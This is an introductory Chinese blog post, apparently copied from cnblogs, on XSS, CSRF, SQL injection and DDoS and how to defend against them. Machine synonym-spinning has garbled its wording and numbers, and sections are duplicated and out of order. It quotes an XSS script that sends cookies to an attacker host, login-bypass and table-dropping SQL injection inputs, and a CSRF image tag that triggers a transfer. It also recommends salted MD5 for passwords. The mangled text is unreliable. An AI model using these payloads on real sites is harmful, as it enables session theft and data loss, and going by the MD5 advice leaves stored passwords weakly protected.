web安全体系目录,参报考博士博士客

 

正文不难介绍两种常见的口诛笔伐手段及其防御措施

  • XSS(跨站脚本攻击)
  • CS牧马人F(跨站请求伪造)
  • SQL注入
  • DDOS

正文简单介绍两种常见的抨击手段及其防御措施

  • XSS(跨站脚本攻击)
  • CS昂科拉F(跨站请求伪造)
  • SQL注入
  • DDOS

web安全体系目录

XSS

概念

  • 万事俱备是跨站脚本攻击(克罗斯 Site
    Scripting),指攻击者在网页中放到恶意脚本程序。

案列

  • 比如小编写了二个博客网址,然后攻击者在上边公布了1个小说,内容是那般的 <script>window.open(“www.gongji.com?param=”+document.cookie)</script>,假诺自个儿尚未对她的内容举办处理,直接存款和储蓄到数据库,那么下3遍当别的用户访问他的那篇小说的时候,服务器从数据库读取后然后响应给客户端,浏览器执行了那段脚本,然后就把该用户的cookie发送到攻击者的服务器了。

被口诛笔伐的原由

  • 用户输入的数额变成了代码,比如说上边包车型大巴<script>,应该只是字符串却有了代码的效率。

预防

  • 将输入的数码开始展览转义处理,比如说讲
    < 转义成&lt;

XSS

SQL注入

概念

  • 透过sql命令伪装成正常的http请求参数,传递到服务器端,服务器执行sql命令造成对数据库举办抨击

案例

  • ' or '1'= '1。那是最常见的sql注入攻击,当我们输如用户名
    jiajun
    ,然后密码输如'or '1'= '1的时候,我们在询问用户名和密码是还是不是正确的时候,本来要举行的是select * from user where username='' and password='',经过参数拼接后,会实施sql语句 select * from user where username='jaijun' and password=' ' or ' 1'='1 ',今年一=壹是白手起家,自然就跳过注明了。
  • 不过假使再严重一点,密码输如的是';drop table user;--,那么sql命令为select * from user where username='jiajun' and password='';drop table user;--' 这一年我们就一贯把那个表给删除了

被口诛笔伐的缘由

  • sql语句伪造参数,然后在对参数进行拼接的后形成破坏性的sql语句,最终造成数据库受到攻击

预防

  • 在java中,我们能够动用预编写翻译语句(PreparedStatement),那样的话尽管大家采纳sql语句伪造成参数,到了服务端的时候,这几个伪造sql语句的参数也只是简短的字符,并不可能起到攻击的功用。
  • 很多orm框架已经足以对参数进行转义
  • 做最坏的打算,尽管被’拖库‘(‘脱裤,数据库走漏’)。数据库中密码不应明文存款和储蓄的,能够对密码使用md5拓展加密,为了加大破解资金,所以能够行使加盐的(数据仓库储存储用户名,盐(随机字符长),md5后的密文)格局。

概念

  • 万事俱备是跨站脚本攻击(克罗丝 Site
    Scripting),指攻击者在网页中放置恶意脚本程序。

CSRF

概念

  • 万事俱备是跨站请求伪造(cross site request
    forgery),指通过伪装成受重视用户的开始展览走访,通俗的讲正是笔者访问了A网址,然后cookie存在了浏览器,然后小编又走访了二个光棍网站,十分大心点了流氓网址一个链接(向A发送请求),今年流氓网站采纳了小编的身价对A举办了访问。

案列

  • 以此事例大概实际中不会设有,不过攻击的措施是均等的。比如说俺报到了A银行网址,然后小编又走访了室友给的1个光棍网址,然后点了里面包车型地铁二个链接 www.A.com/transfer?account=666&money=10000,那么今年很可能笔者就向账号为66六的人转了一w软妹币
  • 瞩目这一个攻击情势不自然是本人点了这么些链接,也得以是以此网址内部有个别财富请求指向了这一个转账链接,比如说一个<img
    src=”http://www.A.com/transfer?account=666&money=10000“>

被口诛笔伐的缘故

  • 用户本地存款和储蓄cookie,攻击者利用用户的cookie举行求证,然后伪造用户发出请求

预防

  • 之所以被攻击是因为攻击者利用了蕴藏在浏览器用于用户认证的cookie,那么只要大家决不cookie来评释不就能够防患了。所以大家得以行使token(不存款和储蓄于浏览器)认证。
  • 透过referer识别,HTTP
    Referer是header的一片段,当浏览器向web服务器发送请求的时候,壹般会带上Referer,告诉服务器本人是从哪个页面链接过来的,服务器基此可以获取部分音信用于拍卖。那么那样的话,大家不可能不登录银行A网址才能拓展转账了。

案列

  • 譬如小编写了3个博客网址,然后攻击者在上边发布了八个篇章,内容是那样的
    <script>window.open(“www.gongji.com?param=”+document.cookie)</script>,假设自乙亥曾对他的内容开始展览拍卖,直接存储到数据库,那么下三回当其他用户访问他的那篇文章的时候,服务器从数据库读取后然后响应给客户端,浏览器执行了这段脚本,然后就把该用户的cookie发送到攻击者的服务器了。

DDOS

概念

  • 分布式拒绝服务攻击(Distributed
    Denial of
    Service),简单说就是出殡和埋葬多量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的,能够开首明了,dos是单挑,而ddos是群殴,因为现代技能的提高,dos攻击的杀伤力降低,所以出现了DDOS,攻击者借助公共网络,将大数目标处理器设备联合起来,向一个或多少个对象展开抨击。

案例

  • SYN Flood
    ,不难说一下tcp1次握手,客户端先服务器发出请求,请求建立连接,然后服务器再次回到一个报文,评释请求以被接受,然后客户端也会重回四个报文,末了建立连接。那么只要有那样1种意况,攻击者伪造ip地址,发出报文给服务器请求连接,这年服务器接受到了,依照tcp三回握手的平整,服务器也要回应多个报文,但是这么些ip是佛头著粪的,报文回应给什么人呢,第一遍握手出现错误,第三遍自然也就不可能顺遂举行了,这一年服务器收不到第一回握手时客户端发出的报文,又再重新第2回握手的操作。尽管攻击者伪造了大气的ip地址并发出请求,那年服务器将维护二个可怜大的半连接等待列表,占用了多量的财富,最终服务器瘫痪。
  • CC攻击,在利用层http协议上提倡攻击,模拟不荒谬用户发送多量伸手直到该网址拒绝服务截至。

被口诛笔伐的来由

  • 服务器带宽不足,不能屏蔽攻击者的抨击流量

预防

  • 最直白的法子扩充带宽。不过攻击者用四处的微型总括机实行抨击,他的带宽不会耗费比比皆是钱,但对于服务器来说,带宽格外高昂。
  • 云服务提供商有本身的一套完整DDoS解决方案,并且能提供充足的带宽财富

被口诛笔伐的原因

  • 用户输入的数目变成了代码,比如说下边包车型大巴<script>,应该只是字符串却有了代码的作用。

总结

  • 地方一共涉及了4中攻击方式,分别是xss攻击(关键是本子,利用恶意脚本发起攻击),CS昂科拉F攻击(关键是借助本地cookie进行求证,伪造发送请求),SQL注入(关键是由此用sql语句伪造参数发出攻击),DDOS攻击(关键是通过手段爆发大气请求,最后令服务器崩溃)
  • 就此攻击者能得逞攻击,用户操作是三个原因,服务器端未有做好防守是2个标题,因为无法控制用户的操作,所以要求我们服务器端的费用做好防守。
  • 从未有过觉得相对安全,只要更安全。

 

参照博客:http://www.cnblogs.com/-new/p/7135814.html

预防

  • 将输入的数码开始展览转义处理,比如说讲 < 转义成&lt;

SQL注入

概念

  • 通过sql命令伪装成符合规律的http请求参数,传递到服务器端,服务器执行sql命令造成对数据库实行攻击

案例

  • ' or '1'= '1。那是最广泛的sql注入攻击,当我们输如用户名 jiajun
    ,然后密码输如'or '1'= '1的时候,大家在查询用户名和密码是不是科学的时候,本来要推行的是select * from user where username='' and password='',经过参数拼接后,会进行sql语句
    select * from user where username='jaijun' and password=' ' or ' 1'='1 ',这年1=1是创建,自然就跳过证实了。
  • 可是壹旦再严重一点,密码输如的是';drop table user;--,那么sql命令为select * from user where username='jiajun' and password='';drop table user;--'
    这年大家就直接把那几个表给删除了

被攻击的原委

  • sql语句伪造参数,然后在对参数举行拼接的后形成破坏性的sql语句,最终造成数据库受到攻击

预防

  • 在java中,大家得以使用预编写翻译语句(PreparedStatement),这样的话固然大家应用sql语句伪造成参数,到了服务端的时候,那个伪造sql语句的参数也只是简短的字符,并无法起到攻击的成效。
  • 无数orm框架已经能够对参数实行转义
  • 做最坏的打算,固然被’拖库‘(‘脱裤,数据库走漏’)。数据库中密码不应明文存款和储蓄的,能够对密码使用md五进展加密,为了加大破解资金,所以能够动用加盐的(数据库存款和储蓄用户名,盐(随机字符长),md5后的密文)格局。

CSRF

概念

  • 万事俱备是跨站请求伪造(cross site request
    forgery),指通过伪装成受依赖用户的进行访问,通俗的讲就是小编访问了A网址,然后cookie存在了浏览器,然后自身又走访了3个光棍网址,非常大心点了流氓网站3个链接(向A发送请求),那个时候流氓网址使用了自笔者的身份对A进行了访问。

案列

  • 本条事例或许实际中不会存在,可是攻击的法子是千篇1律的。比如说笔者报到了A银行网站,然后本身又走访了室友给的四个光棍网站,然后点了个中的三个链接
    www.A.com/transfer?account=666&money=10000,那么那个时候很恐怕自身就向账号为66陆的人转了一w软妹币
  • 小心那几个攻击格局不自然是自己点了那一个链接,也足以是那个网址内部有些能源请求指向了那些转账链接,比如说叁个<img
    src=”http://www.A.com/transfer?account=666&money=10000“>

被攻击的缘由

  • 用户本地存款和储蓄cookie,攻击者利用用户的cookie实行认证,然后伪造用户发出请求

预防

  • 因此被口诛笔伐是因为攻击者利用了蕴藏在浏览器用于用户认证的cookie,那么只要大家不用cookie来证实不就可避防患了。所以大家能够利用token(不存款和储蓄于浏览器)认证。
  • 由此referer识别,HTTP
    Referer是header的一有的,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器自己是从哪个页面链接过来的,服务器基此能够博得部分音讯用于拍卖。那么那样的话,大家必须登录银行A网址才能进行中间转播了。

DDOS

概念

  • 分布式拒绝服务攻击(Distributed Denial of
    Service),不难说正是发送多量呼吁是使服务器瘫痪。DDos攻击是在DOS攻击基础上的,可以开端明了,dos是单挑,而ddos是群殴,因为现代技术的前进,dos攻击的杀伤力下跌,所以出现了DDOS,攻击者借助公共互联网,将大数量的处理器设备联合起来,向贰个或多个对象进行攻击。

案例

  • SYN Flood
    ,不难说一下tcp三遍握手,客户端先服务器发出请求,请求建立连接,然后服务器重返二个报文,表明请求以被接受,然后客户端也会回到一个报文,最终建立连接。那么1旦有那般1种情景,攻击者伪造ip地址,发出报文给服务器请求连接,那个时候服务器接受到了,依照tcp贰遍握手的规则,服务器也要回答三个报文,不过那一个ip是伪造的,报文回应给哪个人呢,第2回握手出现谬误,第一遍自然也就无法顺遂举行了,那一年服务器收不到第1遍握手时客户端发出的报文,又再重复第壹遍握手的操作。假使攻击者伪造了汪洋的ip地址并发出请求,今年服务器将保养二个相当大的半连接等待列表,占用了大气的财富,最终服务器瘫痪。
  • CC攻击,在应用层http协议上发起攻击,模拟符合规律用户发送多量请求直到该网址拒绝服务停止。

被口诛笔伐的由来

  • 服务器带宽不足,不可能屏蔽攻击者的攻击流量

预防

  • 最直接的主意扩张带宽。可是攻击者用随处的微处理器举办抨击,他的带宽不会费用成千成万钱,但对于服务器来说,带宽卓殊高昂。
  • 云服务提供商有自身的1套完整DDoS化解方案,并且能提供丰裕的带宽能源

总结

  • 上面1共涉及了四中攻击形式,分别是xss攻击(关键是本子,利用恶意脚本发起攻击),CSSportageF攻击(关键是凭借地点cookie实行验证,伪造发送请求),SQL注入(关键是经过用sql语句伪造参数发出攻击),DDOS攻击(关键是透过手段爆发大气呼吁,最终令服务器崩溃)
  • 从而攻击者能成功攻击,用户操作是3个缘故,服务器端未有做好防御是3个难点,因为不可能控制用户的操作,所以供给大家服务器端的支出做好防御。
  • 未有觉得相对安全,只要更安全。

转自: http://www.cnblogs.com/-new/p/7135814.html

相关文章